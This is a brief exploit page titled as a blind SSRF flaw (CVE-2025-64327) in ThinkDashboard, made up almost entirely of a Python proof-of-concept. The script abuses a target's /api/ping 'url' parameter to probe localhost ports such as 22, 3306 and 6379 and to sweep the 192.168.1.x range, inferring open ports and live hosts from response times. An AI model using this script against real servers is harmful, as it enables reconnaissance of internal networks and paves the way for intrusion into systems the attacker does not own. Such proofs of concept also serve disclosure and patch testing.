CVE-2025-64327 ThinkDashboard 盲SSRF漏洞

import requests import time target = "http://target.com/api/ping" # 探测本地端口 def check_port(port): payload = { "url": f"http://127.0.0.1:{port}" } start = time.time() try: response = requests.get(target, params=payload, timeout=3) elapsed = time.time() - start return elapsed < 2.5 # 如果快速返回，说明端口开放 except: return False # 扫描常见端口 common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443] for port in common_ports: if check_port(port): print(f"Port {port} is open") # 探测内网主机 for i in range(1, 255): payload = { "url": f"http://192.168.1.{i}:80" } start = time.time() try: response = requests.get(target, params=payload, timeout=2) if time.time() - start < 1.5: print(f"Host 192.168.1.{i} is reachable") except: pass